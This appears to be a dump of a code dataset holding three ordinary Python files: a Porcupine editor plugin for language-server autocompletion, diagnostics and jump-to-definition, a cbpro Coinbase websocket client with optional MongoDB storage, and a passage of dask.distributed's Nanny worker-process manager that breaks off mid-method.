source
stringlengths
3
86
python
stringlengths
75
1.04M
langserver.py
"""Langserver support for autocompletions.""" # TODO: CompletionProvider # TODO: error reporting in gui somehow from __future__ import annotations import dataclasses import errno import itertools import logging import os import pprint import queue import re import select import signal import socket import subprocess import sys import threading import time from functools import partial from pathlib import Path from typing import IO, Any, Dict, List, NamedTuple, Optional, Union if sys.platform != "win32": import fcntl import sansio_lsp_client as lsp from porcupine import get_tab_manager, tabs, textutils, utils from porcupine.plugins import autocomplete, jump_to_definition, python_venv, underlines global_log = logging.getLogger(__name__) setup_after = ["python_venv"] # 1024 bytes was way too small, and with this chunk size, it # still sometimes takes two reads to get everything (that's fine) CHUNK_SIZE = 64 * 1024 class SubprocessStdIO: def __init__(self, process: subprocess.Popen[bytes]) -> None: self._process = process if sys.platform == "win32": self._read_queue: queue.Queue[bytes] = queue.Queue() self._running = True self._worker_thread = threading.Thread(target=self._stdout_to_read_queue, daemon=True) self._worker_thread.start() else: # this works because we don't use .readline() # https://stackoverflow.com/a/1810703 assert process.stdout is not None fileno = process.stdout.fileno() old_flags = fcntl.fcntl(fileno, fcntl.F_GETFL) new_flags = old_flags | os.O_NONBLOCK fcntl.fcntl(fileno, fcntl.F_SETFL, new_flags) if sys.platform == "win32": def _stdout_to_read_queue(self) -> None: while True: # for whatever reason, nothing works unless i go ONE BYTE at a # time.... this is a piece of shit assert self._process.stdout is not None one_fucking_byte = self._process.stdout.read(1) if not one_fucking_byte: break self._read_queue.put(one_fucking_byte) # Return values: # - nonempty bytes object: data was read # - empty bytes object: process exited # - None: no data to read def read(self) -> bytes | None: if sys.platform == "win32": # shitty windows code buf = bytearray() while True: try: buf += self._read_queue.get(block=False) except queue.Empty: break if self._worker_thread.is_alive() and not buf: return None return bytes(buf) else: assert self._process.stdout is not None return self._process.stdout.read(CHUNK_SIZE) def write(self, bytez: bytes) -> None: assert self._process.stdin is not None self._process.stdin.write(bytez) self._process.stdin.flush() def error_says_socket_not_connected(error: OSError) -> bool: if sys.platform == "win32": return error.winerror == 10057 else: return error.errno == errno.ENOTCONN class LocalhostSocketIO: def __init__(self, port: int, log: logging.LoggerAdapter) -> None: self._sock = socket.socket() # This queue solves two problems: # - I don't feel like learning to do non-blocking send right now. # - It must be possible to .write() before the socket is connected. # The written bytes get sent when the socket connects. self._send_queue: queue.Queue[bytes | None] = queue.Queue() self._worker_thread = threading.Thread( target=self._send_queue_to_socket, args=[port, log], daemon=True ) self._worker_thread.start() def _send_queue_to_socket(self, port: int, log: logging.LoggerAdapter) -> None: while True: try: self._sock.connect(("localhost", port)) log.info(f"connected to localhost:{port}") break except ConnectionRefusedError: log.info(f"connecting to localhost:{port} failed, retrying soon") time.sleep(0.5) while True: bytez = self._send_queue.get() if bytez is None: break self._sock.sendall(bytez) def write(self, bytez: bytes) -> None: self._send_queue.put(bytez) # Return values: # - nonempty bytes object: data was received # - empty bytes object: socket closed # - None: no data to receive def read(self) -> bytes | None: # figure out if we can read from the socket without blocking # 0 is timeout, i.e. return immediately # # TODO: pass the correct non-block flag to recv instead? # does that work on windows? can_read, can_write, error = select.select([self._sock], [], [], 0) if self._sock not in can_read: return None try: result = self._sock.recv(CHUNK_SIZE) except OSError as e: if error_says_socket_not_connected(e): return None raise e if not result: assert result == b"" # stop worker thread if self._worker_thread.is_alive(): self._send_queue.put(None) return result def completion_item_doc_contains_label(doc: str, label: str) -> bool: # this used to be doc.startswith(label), but see issue #67 label = label.strip() if "(" in label: prefix = label.strip().split("(")[0] + "(" else: prefix = label.strip() return doc.startswith(prefix) def get_completion_item_doc(item: lsp.CompletionItem) -> str: if not item.documentation: return item.label if isinstance(item.documentation, lsp.MarkupContent): result = item.documentation.value else: result = item.documentation # try this with clangd # # // comment # void foo(int x, char c) { } # # int main(void) # { # fo<Tab> # } if not completion_item_doc_contains_label(result, item.label): result = item.label.strip() + "\n\n" + result return result def exit_code_string(exit_code: int) -> str: if exit_code >= 0: return f"exited with code {exit_code}" signal_number = abs(exit_code) result = f"was killed by signal {signal_number}" try: result += " (" + signal.Signals(signal_number).name + ")" except ValueError: # unknown signal, e.g. signal.SIGRTMIN + 5 pass return result def _position_tk2lsp(tk_position: Union[str, List[int]]) -> lsp.Position: # this can't use tab.textwidget.index, because it needs to handle text # locations that don't exist anymore when text has been deleted if isinstance(tk_position, str): line, column = map(int, tk_position.split(".")) else: line, column = tk_position # lsp line numbering starts at 0 # tk line numbering starts at 1 # both column numberings start at 0 return lsp.Position(line=line - 1, character=column) def _position_lsp2tk(lsp_position: lsp.Position) -> str: return f"{lsp_position.line + 1}.{lsp_position.character}" # TODO: handle this better in sansio-lsp-client def _get_path_and_range_of_lsp_location( location: lsp.Location | lsp.LocationLink | tuple[str, Any] ) -> tuple[Path, lsp.Range]: assert isinstance(location, lsp.Location) return (utils.file_url_to_path(location.uri), location.range) def _get_diagnostic_string(diagnostic: lsp.Diagnostic) -> str: if diagnostic.source is None: assert diagnostic.message is not None # TODO return diagnostic.message return f"{diagnostic.source}: {diagnostic.message}" def _substitute_python_venv_recursively(obj: object, venv: Path | None) -> Any: if isinstance(obj, list): return [_substitute_python_venv_recursively(item, venv) for item in obj] if isinstance(obj, dict): return {key: _substitute_python_venv_recursively(value, venv) for key, value in obj.items()} if isinstance(obj, str): # This doesn't account for weird formatting tricks, but those aren't useful here anyway if "{python_venv}" in obj and venv is None: return None return obj.format(python_venv=str(venv)) return obj @dataclasses.dataclass class LangServerConfig: command: str language_id: str port: Optional[int] = None settings: Any = dataclasses.field(default_factory=dict) # FIXME: two langservers with same command, same port, different project_root class LangServerId(NamedTuple): command: str port: Optional[int] project_root: Path class LangServer: def __init__( self, process: subprocess.Popen[bytes], the_id: LangServerId, log: logging.LoggerAdapter, config: LangServerConfig, ) -> None: self._process = process self._config = config self._id = the_id # TODO: replace with config self._lsp_client = lsp.Client(trace="verbose", root_uri=the_id.project_root.as_uri()) self._autocompletion_requests: dict[lsp.Id, tuple[tabs.FileTab, autocomplete.Request]] = {} self._jump2def_requests: dict[lsp.Id, tabs.FileTab] = {} self._version_counter = itertools.count() self.log = log self.tabs_opened: set[tabs.FileTab] = set() self._is_shutting_down_cleanly = False self._io: Union[SubprocessStdIO, LocalhostSocketIO] if the_id.port is None: self._io = SubprocessStdIO(process) else: self._io = LocalhostSocketIO(the_id.port, log) def __repr__(self) -> str: return ( f"<{type(self).__name__}: " f"PID {self._process.pid}, " f"{self._id}, " f"{len(self.tabs_opened)} tabs opened>" ) def _is_in_langservers(self) -> bool: # This returns False if a langserver died and another one with the same # id was launched. return langservers.get(self._id, None) is self def _get_removed_from_langservers(self) -> None: # this is called more than necessary to make sure we don't end up with # funny issues caused by unusable langservers if self._is_in_langservers(): self.log.debug("getting removed from langservers") del langservers[self._id] def _ensure_langserver_process_quits_soon(self) -> None: exit_code = self._process.poll() if exit_code is None: if self._lsp_client.state == lsp.ClientState.EXITED: # process still running, but will exit soon. Let's make sure # to log that when it happens so that if it doesn't exit for # whatever reason, then that will be visible in logs. self.log.debug("langserver process should stop soon") get_tab_manager().after(500, self._ensure_langserver_process_quits_soon) return # langserver doesn't want to exit, let's kill it what_closed = "stdout" if self._id.port is None else "socket connection" self.log.warning( f"killing langserver process {self._process.pid} " f"because {what_closed} has closed for some reason" ) self._process.kill() exit_code = self._process.wait() if self._is_shutting_down_cleanly: self.log.info(f"langserver process terminated, {exit_code_string(exit_code)}") else: self.log.error( f"langserver process terminated unexpectedly, {exit_code_string(exit_code)}" ) self._get_removed_from_langservers() # returns whether this should be ran again def _run_stuff_once(self) -> bool: self._io.write(self._lsp_client.send()) received_bytes = self._io.read() # yes, None and b'' have a different meaning here if received_bytes is None: # no data received return True elif received_bytes == b"": # stdout or langserver socket is closed. Communicating with the # langserver process is impossible, so this LangServer object and # the process are useless. # # TODO: try to restart the langserver process? self._ensure_langserver_process_quits_soon() return False assert received_bytes self.log.debug(f"got {len(received_bytes)} bytes of data") for lsp_event in self._lsp_client.recv(received_bytes): try: self._handle_lsp_event(lsp_event) except Exception: self.log.exception("error while handling langserver event") return True def _send_tab_opened_message(self, tab: tabs.FileTab) -> None: config = tab.settings.get("langserver", Optional[LangServerConfig]) assert tab.path is not None self._lsp_client.did_open( lsp.TextDocumentItem( uri=tab.path.as_uri(), languageId=config.language_id, text=tab.textwidget.get("1.0", "end - 1 char"), version=next(self._version_counter), ) ) def _handle_lsp_event(self, lsp_event: lsp.Event) -> None: self.log.debug(f"handling event: {lsp_event}") if isinstance(lsp_event, lsp.Shutdown): self.log.debug("langserver sent Shutdown event") self._lsp_client.exit() self._get_removed_from_langservers() return if isinstance(lsp_event, lsp.LogMessage): # most langservers seem to use stdio instead of this loglevel_dict = { lsp.MessageType.LOG: logging.DEBUG, lsp.MessageType.INFO: logging.INFO, lsp.MessageType.WARNING: logging.WARNING, lsp.MessageType.ERROR: logging.ERROR, } self.log.log( loglevel_dict[lsp_event.type], f"message from langserver: {lsp_event.message}" ) return # rest of these need the langserver to be active if not self._is_in_langservers(): self.log.warning(f"ignoring event because langserver is shutting down: {lsp_event}") return if isinstance(lsp_event, lsp.Initialized): self.log.info( "langserver initialized, capabilities:\n" + pprint.pformat(lsp_event.capabilities) ) for tab in self.tabs_opened: self._send_tab_opened_message(tab) # TODO: this is a terrible hack: # - This causes an error because sansio-lsp-client doesn't # officially support workspace/didChangeConfiguration yet. # - This doesn't refresh as venv changes. self._lsp_client._send_request( "workspace/didChangeConfiguration", { "settings": _substitute_python_venv_recursively( self._config.settings, python_venv.get_venv(self._id.project_root) ) }, ) return if isinstance(lsp_event, lsp.Completion): tab, req = self._autocompletion_requests.pop(lsp_event.message_id) if tab not in self.tabs_opened: # I wouldn't be surprised if some langserver sent completions to closed tabs self.log.debug(f"Completion sent to closed tab: {lsp_event}") return # this is "open to interpretation", as the lsp spec says # TODO: use textEdit when available (need to find langserver that # gives completions with textEdit for that to work) before_cursor = tab.textwidget.get(f"{req.cursor_pos} linestart", req.cursor_pos) match = re.fullmatch(r".*?(\w*)", before_cursor) assert match is not None prefix_len = len(match.group(1)) assert lsp_event.completion_list is not None tab.event_generate( "<<AutoCompletionResponse>>", data=autocomplete.Response( id=req.id, completions=[ autocomplete.Completion( display_text=item.label, replace_start=tab.textwidget.index( f"{req.cursor_pos} - {prefix_len} chars" ), replace_end=req.cursor_pos, replace_text=item.insertText or item.label, # TODO: is slicing necessary here? filter_text=(item.filterText or item.insertText or item.label)[ prefix_len: ], documentation=get_completion_item_doc(item), ) for item in sorted( lsp_event.completion_list.items, key=(lambda item: item.sortText or item.label), ) ], ), ) return if isinstance(lsp_event, lsp.PublishDiagnostics): matching_tabs = [ tab for tab in self.tabs_opened if tab.path is not None and tab.path.as_uri() == lsp_event.uri ] if not matching_tabs: # Some langservers send diagnostics to closed tabs self.log.debug(f"PublishDiagnostics sent to closed tab: {lsp_event}") return [tab] = matching_tabs tab.event_generate( "<<SetUnderlines>>", data=underlines.Underlines( id="langserver_diagnostics", underline_list=[ underlines.Underline( start=_position_lsp2tk(diagnostic.range.start), end=_position_lsp2tk(diagnostic.range.end), message=_get_diagnostic_string(diagnostic), # TODO: there are plenty of other severities than ERROR and WARNING color=( "red" if diagnostic.severity == lsp.DiagnosticSeverity.ERROR else "orange" ), ) for diagnostic in sorted( lsp_event.diagnostics, # error red underlines should be shown over orange warning underlines key=(lambda diagn: diagn.severity or lsp.DiagnosticSeverity.WARNING), reverse=True, ) ], ), ) return if isinstance(lsp_event, lsp.Definition): assert lsp_event.message_id is not None # TODO: fix in sansio-lsp-client requesting_tab = self._jump2def_requests.pop(lsp_event.message_id) if requesting_tab in get_tab_manager().tabs(): # TODO: do this in sansio-lsp-client if isinstance(lsp_event.result, list): locations = lsp_event.result elif lsp_event.result is None: locations = [] else: locations = [lsp_event.result] requesting_tab.event_generate( "<<JumpToDefinitionResponse>>", data=jump_to_definition.Response( [ jump_to_definition.LocationRange( file_path=str(path), start=_position_lsp2tk(range.start), end=_position_lsp2tk(range.end), ) for path, range in map(_get_path_and_range_of_lsp_location, locations) ] ), ) else: self.log.info("not jumping to definition because tab was closed") return # str(lsp_event) or just lsp_event won't show the type raise NotImplementedError(repr(lsp_event)) def run_stuff(self) -> None: if self._run_stuff_once(): get_tab_manager().after(50, self.run_stuff) def open_tab(self, tab: tabs.FileTab) -> None: assert tab not in self.tabs_opened self.tabs_opened.add(tab) self.log.debug("tab opened") if self._lsp_client.state == lsp.ClientState.NORMAL: self._send_tab_opened_message(tab) def forget_tab(self, tab: tabs.FileTab, *, may_shutdown: bool = True) -> None: if not self._is_in_langservers(): self.log.debug( "a tab was closed, but langserver process is no longer running (maybe it crashed?)" ) return self.tabs_opened.remove(tab) self.log.debug("tab closed") if may_shutdown and not self.tabs_opened: self.log.info("no more open tabs, shutting down") self._is_shutting_down_cleanly = True self._get_removed_from_langservers() if self._lsp_client.state == lsp.ClientState.NORMAL: self._lsp_client.shutdown() else: # it was never fully started self._process.kill() def request_completions(self, tab: tabs.FileTab, event: utils.EventWithData) -> None: if self._lsp_client.state != lsp.ClientState.NORMAL: self.log.warning( f"autocompletions requested but langserver state == {self._lsp_client.state!r}" ) return assert tab.path is not None request = event.data_class(autocomplete.Request) lsp_id = self._lsp_client.completion( text_document_position=lsp.TextDocumentPosition( textDocument=lsp.TextDocumentIdentifier(uri=tab.path.as_uri()), position=_position_tk2lsp(request.cursor_pos), ), context=lsp.CompletionContext( # FIXME: this isn't always the case, porcupine can also trigger # it automagically triggerKind=lsp.CompletionTriggerKind.INVOKED ), ) assert lsp_id not in self._autocompletion_requests self._autocompletion_requests[lsp_id] = (tab, request) def request_jump_to_definition(self, tab: tabs.FileTab) -> None: self.log.info(f"Jump to definition requested: {tab.path}") if tab.path is not None: request_id = self._lsp_client.definition( lsp.TextDocumentPosition( textDocument=lsp.TextDocumentIdentifier(uri=tab.path.as_uri()), position=_position_tk2lsp(tab.textwidget.index("insert")), ) ) self._jump2def_requests[request_id] = tab def send_change_events(self, tab: tabs.FileTab, changes: textutils.Changes) -> None: if self._lsp_client.state != lsp.ClientState.NORMAL: # The langserver will receive the actual content of the file once # it starts. self.log.debug( f"not sending change events because langserver state == {self._lsp_client.state!r}" ) return assert tab.path is not None self._lsp_client.did_change( text_document=lsp.VersionedTextDocumentIdentifier( uri=tab.path.as_uri(), version=next(self._version_counter) ), content_changes=[ lsp.TextDocumentContentChangeEvent( range=lsp.Range( start=_position_tk2lsp(change.start), end=_position_tk2lsp(change.end) ), text=change.new_text, ) for change in changes.change_list ], ) langservers: Dict[LangServerId, LangServer] = {} # I was going to add code that checks if two langservers use the same port # number, but it's unnecessary: if a langserver tries to use a port number that # is already being used, then it should exit with an error message. def stream_to_log(stream: IO[bytes], log: logging.LoggerAdapter) -> None: for line_bytes in stream: line = line_bytes.rstrip(b"\r\n").decode("utf-8", errors="replace") log.info(f"langserver logged: {line}") def get_lang_server(tab: tabs.FileTab) -> LangServer | None: if tab.path is None: return None config = tab.settings.get("langserver", Optional[LangServerConfig]) if config is None: return None assert isinstance(config, LangServerConfig) project_root = utils.find_project_root(tab.path) the_id = LangServerId(config.command, config.port, project_root) try: return langservers[the_id] except KeyError: pass command = utils.format_command(config.command, {"porcupine_python": utils.python_executable}) global_log.info(f"Running command: {command}") try: # TODO: should use utils.subprocess_kwargs? if the_id.port is None: # langserver writes log messages to stderr process = subprocess.Popen( command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) else: # most langservers log to stderr, but also watch stdout process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) except (OSError, subprocess.CalledProcessError): global_log.exception(f"failed to start langserver with command {config.command!r}") return None log = logging.LoggerAdapter(global_log, {}) log.process = lambda msg, kwargs: (f"(PID={process.pid}) {msg}", kwargs) # type: ignore log.info( f"Langserver process started with command '{config.command}', project root '{project_root}'" ) logging_stream = process.stderr if the_id.port is None else process.stdout assert logging_stream is not None threading.Thread(target=stream_to_log, args=[logging_stream, log], daemon=True).start() langserver = LangServer(process, the_id, log, config) langserver.run_stuff() langservers[the_id] = langserver return langserver # Switch the tab to another langserver, starting one if needed def switch_langservers( tab: tabs.FileTab, called_because_path_changed: bool, junk: object = None ) -> None: old = next( (langserver for langserver in langservers.values() if tab in langserver.tabs_opened), None ) new = get_lang_server(tab) if old is not None and new is not None and old is new and called_because_path_changed: old.log.info("Path changed, closing and reopening the tab") old.forget_tab(tab, may_shutdown=False) new.open_tab(tab) if old is not new: global_log.info(f"Switching langservers: {old} --> {new}") if old is not None: old.forget_tab(tab) if new is not None: new.open_tab(tab) def on_new_filetab(tab: tabs.FileTab) -> None: tab.settings.add_option("langserver", None, Optional[LangServerConfig]) # TODO: some better way to pass events to the correct langsever? def request_completions(event: utils.EventWithData) -> None: for langserver in langservers.values(): if tab in langserver.tabs_opened: langserver.request_completions(tab, event) def content_changed(event: utils.EventWithData) -> None: for langserver in langservers.values(): if tab in langserver.tabs_opened: langserver.send_change_events(tab, event.data_class(textutils.Changes)) def request_jump2def(event: object) -> str: for langserver in langservers.values(): if tab in langserver.tabs_opened: langserver.request_jump_to_definition(tab) return "break" # Do not insert newline def on_destroy(event: object) -> None: for langserver in list(langservers.values()): if tab in langserver.tabs_opened: langserver.forget_tab(tab) utils.bind_with_data(tab.textwidget, "<<ContentChanged>>", content_changed, add=True) utils.bind_with_data(tab.textwidget, "<<JumpToDefinition>>", request_jump2def, add=True) utils.bind_with_data(tab, "<<AutoCompletionRequest>>", request_completions, add=True) tab.bind("<Destroy>", on_destroy, add=True) tab.bind("<<TabSettingChanged:langserver>>", partial(switch_langservers, tab, False), add=True) tab.bind("<<PathChanged>>", partial(switch_langservers, tab, True), add=True) switch_langservers(tab, called_because_path_changed=False) # A hack elsewhere in this file causes an event that sansio-lsp-client doesn't understand. # To find it, ctrl+f hack. class HackFilter: def filter(self, record: logging.LogRecord) -> bool: # Hide NotImplementedError saying something about didChangeConfiguration return not ( record.levelname == "ERROR" and record.exc_info is not None and record.exc_info[0] is NotImplementedError and "workspace/didChangeConfiguration" in str(record.exc_info[1]) ) def setup() -> None: logging.getLogger("sansio_lsp_client.client").addFilter(HackFilter()) # type: ignore get_tab_manager().add_filetab_callback(on_new_filetab)
websocket_client.py
# cbpro/WebsocketClient.py # original author: Daniel Paquin # mongo "support" added by Drew Rice # # # Template object to receive messages from the Coinbase Websocket Feed from __future__ import print_function import json import base64 import hmac import hashlib import time from threading import Thread from websocket import create_connection, WebSocketConnectionClosedException from pymongo import MongoClient from cbpro.cbpro_auth import get_auth_headers class WebsocketClient(object): def __init__( self, url="wss://ws-feed.pro.coinbase.com", products=None, message_type="subscribe", mongo_collection=None, should_print=True, auth=False, api_key="", api_secret="", api_passphrase="", # Make channels a required keyword-only argument; see pep3102 *, # Channel options: ['ticker', 'user', 'matches', 'level2', 'full'] channels): self.url = url self.products = products self.channels = channels self.type = message_type self.stop = True self.error = None self.ws = None self.thread = None self.auth = auth self.api_key = api_key self.api_secret = api_secret self.api_passphrase = api_passphrase self.should_print = should_print self.mongo_collection = mongo_collection def start(self): def _go(): self._connect() self._listen() self._disconnect() self.stop = False self.on_open() self.thread = Thread(target=_go) self.keepalive = Thread(target=self._keepalive) self.thread.start() def _connect(self): if self.products is None: self.products = ["BTC-USD"] elif not isinstance(self.products, list): self.products = [self.products] if self.url[-1] == "/": self.url = self.url[:-1] if self.channels is None: self.channels = [{"name": "ticker", "product_ids": [product_id for product_id in self.products]}] sub_params = {'type': 'subscribe', 'product_ids': self.products, 'channels': self.channels} else: sub_params = {'type': 'subscribe', 'product_ids': self.products, 'channels': self.channels} if self.auth: timestamp = str(time.time()) message = timestamp + 'GET' + '/users/self/verify' auth_headers = get_auth_headers(timestamp, message, self.api_key, self.api_secret, self.api_passphrase) sub_params['signature'] = auth_headers['CB-ACCESS-SIGN'] sub_params['key'] = auth_headers['CB-ACCESS-KEY'] sub_params['passphrase'] = auth_headers['CB-ACCESS-PASSPHRASE'] sub_params['timestamp'] = auth_headers['CB-ACCESS-TIMESTAMP'] self.ws = create_connection(self.url) self.ws.send(json.dumps(sub_params)) def _keepalive(self, interval=30): while self.ws.connected: self.ws.ping("keepalive") time.sleep(interval) def _listen(self): self.keepalive.start() while not self.stop: try: data = self.ws.recv() msg = json.loads(data) except ValueError as e: self.on_error(e) except Exception as e: self.on_error(e) else: self.on_message(msg) def _disconnect(self): try: if self.ws: self.ws.close() except WebSocketConnectionClosedException as e: pass finally: self.keepalive.join() self.on_close() def close(self): self.stop = True # will only disconnect after next msg recv self._disconnect() # force disconnect so threads can join self.thread.join() def on_open(self): if self.should_print: print("-- Subscribed! --\n") def on_close(self): if self.should_print: print("\n-- Socket Closed --") def on_message(self, msg): if self.should_print: print(msg) if self.mongo_collection: # dump JSON to given mongo collection self.mongo_collection.insert_one(msg) def on_error(self, e, data=None): self.error = e self.stop = True print('{} - data: {}'.format(e, data)) if __name__ == "__main__": import sys import cbpro import time class MyWebsocketClient(cbpro.WebsocketClient): def on_open(self): self.url = "wss://ws-feed.pro.coinbase.com/" self.products = ["BTC-USD", "ETH-USD"] self.message_count = 0 print("Let's count the messages!") def on_message(self, msg): print(json.dumps(msg, indent=4, sort_keys=True)) self.message_count += 1 def on_close(self): print("-- Goodbye! --") wsClient = MyWebsocketClient() wsClient.start() print(wsClient.url, wsClient.products) try: while True: print("\nMessageCount =", "%i \n" % wsClient.message_count) time.sleep(1) except KeyboardInterrupt: wsClient.close() if wsClient.error: sys.exit(1) else: sys.exit(0)
nanny.py
from datetime import timedelta import logging from multiprocessing.queues import Empty import os import psutil import shutil import threading import uuid import warnings import weakref import dask from tornado import gen from tornado.ioloop import IOLoop, TimeoutError from tornado.locks import Event from .comm import get_address_host, unparse_host_port from .comm.addressing import address_from_user_args from .core import RPCClosed, CommClosedError, coerce_to_address from .metrics import time from .node import ServerNode from .process import AsyncProcess from .proctitle import enable_proctitle_on_children from .security import Security from .system import CPU_COUNT from .utils import ( get_ip, mp_context, silence_logging, json_load_robust, PeriodicCallback, parse_timedelta, ) from .worker import run, parse_memory_limit, Worker logger = logging.getLogger(__name__) class Nanny(ServerNode): """ A process to manage worker processes The nanny spins up Worker processes, watches then, and kills or restarts them as necessary. It is necessary if you want to use the ``Client.restart`` method, or to restart the worker automatically if it gets to the terminate fractiom of its memory limit. The parameters for the Nanny are mostly the same as those for the Worker. See Also -------- Worker """ _instances = weakref.WeakSet() process = None status = None def __init__( self, scheduler_ip=None, scheduler_port=None, scheduler_file=None, worker_port=0, nthreads=None, ncores=None, loop=None, local_dir=None, local_directory="dask-worker-space", services=None, name=None, memory_limit="auto", reconnect=True, validate=False, quiet=False, resources=None, silence_logs=None, death_timeout=None, preload=None, preload_argv=None, security=None, contact_address=None, listen_address=None, worker_class=None, env=None, interface=None, host=None, port=None, protocol=None, **worker_kwargs ): self._setup_logging(logger) self.loop = loop or IOLoop.current() self.security = security or Security() assert isinstance(self.security, Security) self.connection_args = self.security.get_connection_args("worker") self.listen_args = self.security.get_listen_args("worker") if scheduler_file: cfg = json_load_robust(scheduler_file) self.scheduler_addr = cfg["address"] elif scheduler_ip is None and dask.config.get("scheduler-address"): self.scheduler_addr = dask.config.get("scheduler-address") elif scheduler_port is None: self.scheduler_addr = coerce_to_address(scheduler_ip) else: self.scheduler_addr = coerce_to_address((scheduler_ip, scheduler_port)) if ncores is not None: warnings.warn("the ncores= parameter has moved to nthreads=") nthreads = ncores self._given_worker_port = worker_port self.nthreads = nthreads or CPU_COUNT self.reconnect = reconnect self.validate = validate self.resources = resources self.death_timeout = parse_timedelta(death_timeout) self.preload = preload if self.preload is None: self.preload = dask.config.get("distributed.worker.preload") self.preload_argv = preload_argv if self.preload_argv is None: self.preload_argv = dask.config.get("distributed.worker.preload-argv") self.Worker = Worker if worker_class is None else worker_class self.env = env or {} worker_kwargs.update( { "port": worker_port, "interface": interface, "protocol": protocol, "host": host, } ) self.worker_kwargs = worker_kwargs self.contact_address = contact_address self.memory_terminate_fraction = dask.config.get( "distributed.worker.memory.terminate" ) if local_dir is not None: warnings.warn("The local_dir keyword has moved to local_directory") local_directory = local_dir self.local_directory = local_directory self.services = services self.name = name self.quiet = quiet self.auto_restart = True self.memory_limit = parse_memory_limit(memory_limit, self.nthreads) if silence_logs: silence_logging(level=silence_logs) self.silence_logs = silence_logs handlers = { "instantiate": self.instantiate, "kill": self.kill, "restart": self.restart, # cannot call it 'close' on the rpc side for naming conflict "get_logs": self.get_logs, "terminate": self.close, "close_gracefully": self.close_gracefully, "run": self.run, } super(Nanny, self).__init__( handlers=handlers, io_loop=self.loop, connection_args=self.connection_args ) self.scheduler = self.rpc(self.scheduler_addr) if self.memory_limit: pc = PeriodicCallback(self.memory_monitor, 100, io_loop=self.loop) self.periodic_callbacks["memory"] = pc if ( not host and not interface and not self.scheduler_addr.startswith("inproc://") ): host = get_ip(get_address_host(self.scheduler.address)) self._start_address = address_from_user_args( host=host, port=port, interface=interface, protocol=protocol, security=security, ) self._listen_address = listen_address Nanny._instances.add(self) self.status = "init" def __repr__(self): return "<Nanny: %s, threads: %d>" % (self.worker_address, self.nthreads) async def _unregister(self, timeout=10): if self.process is None: return worker_address = self.process.worker_address if worker_address is None: return allowed_errors = ( gen.TimeoutError, CommClosedError, EnvironmentError, RPCClosed, ) try: await gen.with_timeout( timedelta(seconds=timeout), self.scheduler.unregister(address=self.worker_address), quiet_exceptions=allowed_errors, ) except allowed_errors: pass @property def worker_address(self): return None if self.process is None else self.process.worker_address @property def worker_dir(self): return None if self.process is None else self.process.worker_dir @property def local_dir(self): """ For API compatibility with Nanny """ warnings.warn("The local_dir attribute has moved to local_directory") return self.local_directory async def start(self): """ Start nanny, start local process, start watching """ self.listen(self._start_address, listen_args=self.listen_args) self.ip = get_address_host(self.address) logger.info(" Start Nanny at: %r", self.address) response = await self.instantiate() if response == "running": assert self.worker_address self.status = "running" else: await self.close() self.start_periodic_callbacks() return self async def kill(self, comm=None, timeout=2): """ Kill the local worker process Blocks until both the process is down and the scheduler is properly informed """ self.auto_restart = False if self.process is None: return "OK" deadline = self.loop.time() + timeout await self.process.kill(timeout=0.8 * (deadline - self.loop.time())) async def instantiate(self, comm=None): """ Start a local worker process Blocks until the process is up and the scheduler is properly informed """ if self._listen_address: start_arg = self._listen_address else: host = self.listener.bound_address[0] start_arg = self.listener.prefix + unparse_host_port( host, self._given_worker_port ) if self.process is None: worker_kwargs = dict( scheduler_ip=self.scheduler_addr, nthreads=self.nthreads, local_directory=self.local_directory, services=self.services, nanny=self.address, name=self.name, memory_limit=self.memory_limit, reconnect=self.reconnect, resources=self.resources, validate=self.validate, silence_logs=self.silence_logs, death_timeout=self.death_timeout, preload=self.preload, preload_argv=self.preload_argv, security=self.security, contact_address=self.contact_address, ) worker_kwargs.update(self.worker_kwargs) self.process = WorkerProcess( worker_kwargs=worker_kwargs, worker_start_args=(start_arg,), silence_logs=self.silence_logs, on_exit=self._on_exit_sync, worker=self.Worker, env=self.env, ) self.auto_restart = True if self.death_timeout: try: result = await gen.with_timeout( timedelta(seconds=self.death_timeout), self.process.start() ) except gen.TimeoutError: await self.close(timeout=self.death_timeout) logger.exception( "Timed out connecting Nanny '%s' to scheduler '%s'", self, self.scheduler_addr, ) raise else: result = await self.process.start() return result async def restart(self, comm=None, timeout=2, executor_wait=True): start = time() async def _(): if self.process is not None: await self.kill() await self.instantiate() try: await gen.with_timeout(timedelta(seconds=timeout), _()) except gen.TimeoutError: logger.error("Restart timed out, returning before finished") return "timed out" else: return "OK" def memory_monitor(self): """ Track worker's memory. Restart if it goes above terminate fraction """ if self.status != "running": return process = self.process.process if process is None: return try: proc = psutil.Process(process.pid) memory = proc.memory_info().rss except (ProcessLookupError, psutil.NoSuchProcess, psutil.AccessDenied): return frac = memory / self.memory_limit if self.memory_terminate_fraction and frac > self.memory_terminate_fraction: logger.warning( "Worker exceeded %d%% memory budget. Restarting", 100 * self.memory_terminate_fraction, ) process.terminate() def is_alive(self): return self.process is not None and self.process.is_alive() def run(self, *args, **kwargs): return run(self, *args, **kwargs) def _on_exit_sync(self, exitcode): self.loop.add_callback(self._on_exit, exitcode) async def _on_exit(self, exitcode): if self.status not in ("closing", "closed"): try: await self.scheduler.unregister(address=self.worker_address) except (EnvironmentError, CommClosedError): if not self.reconnect: await self.close() return try: if self.status not in ("closing", "closed", "closing-gracefully"): if self.auto_restart: logger.warning("Restarting worker") await self.instantiate() elif self.status == "closing-gracefully": await self.close() except Exception: logger.error( "Failed to restart worker after its process exited", exc_info=True ) @property def pid(self): return self.process and self.process.pid def _close(self, *args, **kwargs): warnings.warn("Worker._close has moved to Worker.close", stacklevel=2) return self.close(*args, **kwargs) def close_gracefully(self, comm=None): """ A signal that we shouldn't try to restart workers if they go away This is used as part of the cluster shutdown process. """ self.status = "closing-gracefully" async def close(self, comm=None, timeout=5, report=None): """ Close the worker process, stop all comms. """ if self.status == "closing": await self.finished() assert self.status == "closed" if self.status == "closed": return "OK" self.status = "closing" logger.info("Closing Nanny at %r", self.address) self.stop() try: if self.process is not None: await self.kill(timeout=timeout) except Exception: pass self.process = None self.rpc.close() self.status = "closed" if comm: await comm.write("OK") await ServerNode.close(self) class WorkerProcess(object): def __init__( self, worker_kwargs, worker_start_args, silence_logs, on_exit, worker, env ): self.status = "init" self.silence_logs = silence_logs self.worker_kwargs = worker_kwargs self.worker_start_args = worker_start_args self.on_exit = on_exit self.process = None self.Worker = worker self.env = env # Initialized when worker is ready self.worker_dir = None self.worker_address = None async def start(self): """ Ensure the worker process is started. """ enable_proctitle_on_children() if self.status == "running": return self.status if self.status == "starting": await self.running.wait() return self.status self.init_result_q = init_q = mp_context.Queue() self.child_stop_q = mp_context.Queue() 